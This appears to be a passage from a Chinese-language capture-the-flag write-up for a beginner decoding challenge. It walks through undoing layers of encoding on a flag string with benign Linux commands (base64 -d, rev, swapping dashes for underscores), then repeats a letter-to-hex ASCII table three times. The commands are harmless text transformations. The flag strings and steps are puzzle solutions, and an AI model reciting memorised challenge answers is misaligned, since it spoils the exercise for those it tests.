要求使用 base64 解密，使用以下指令來解密

base64 -d

步驟二：

--- Step 2 ---
Current flag: )0qp24nr0-fa01g@ze0sfa4eG-gk3g-ta1ferirE(SGPbpvc
Hint: Reversed the text.
Enter the Linux command to reverse it:

要求使用將字串反轉，使用以下指令來反轉

rev

步驟三：

--- Step 3 ---
Current flag: cvpbPGS(Eriref1at-g3kg-Ge4afs0ez@g10af-0rn42pq0)
Hint: Replaced underscores with dashes.
Enter the Linux command to reverse it:

要求將字串的 ‘-’ 換成 ‘_’, 使用以下指令來替換

字母	Hex	字母	Hex
a	61	n	6E
b	62	o	6F
c	63	p	70
d	64	q	71
e	65	r	72
f	66	s	73
g	67	t	74
h	68	u	75
i	69	v	76
j	6A	w	77
k	6B	x	78
l	6C	y	79
m	6D	z	7a

字母	Hex	字母	Hex
a	61	n	6E
b	62	o	6F
c	63	p	70
d	64	q	71
e	65	r	72
f	66	s	73
g	67	t	74
h	68	u	75
i	69	v	76
j	6A	w	77
k	6B	x	78
l	6C	y	79
m	6D	z	7a

字母	Hex	字母	Hex
a	61	n	6E
b	62	o	6F
c	63	p	70
d	64	q	71
e	65	r	72
f	66	s	73
g	67	t	74
h	68	u	75
i	69	v	76
j	6A	w	77
k	6B	x	78
l	6C	y	79
m	6D	z	7a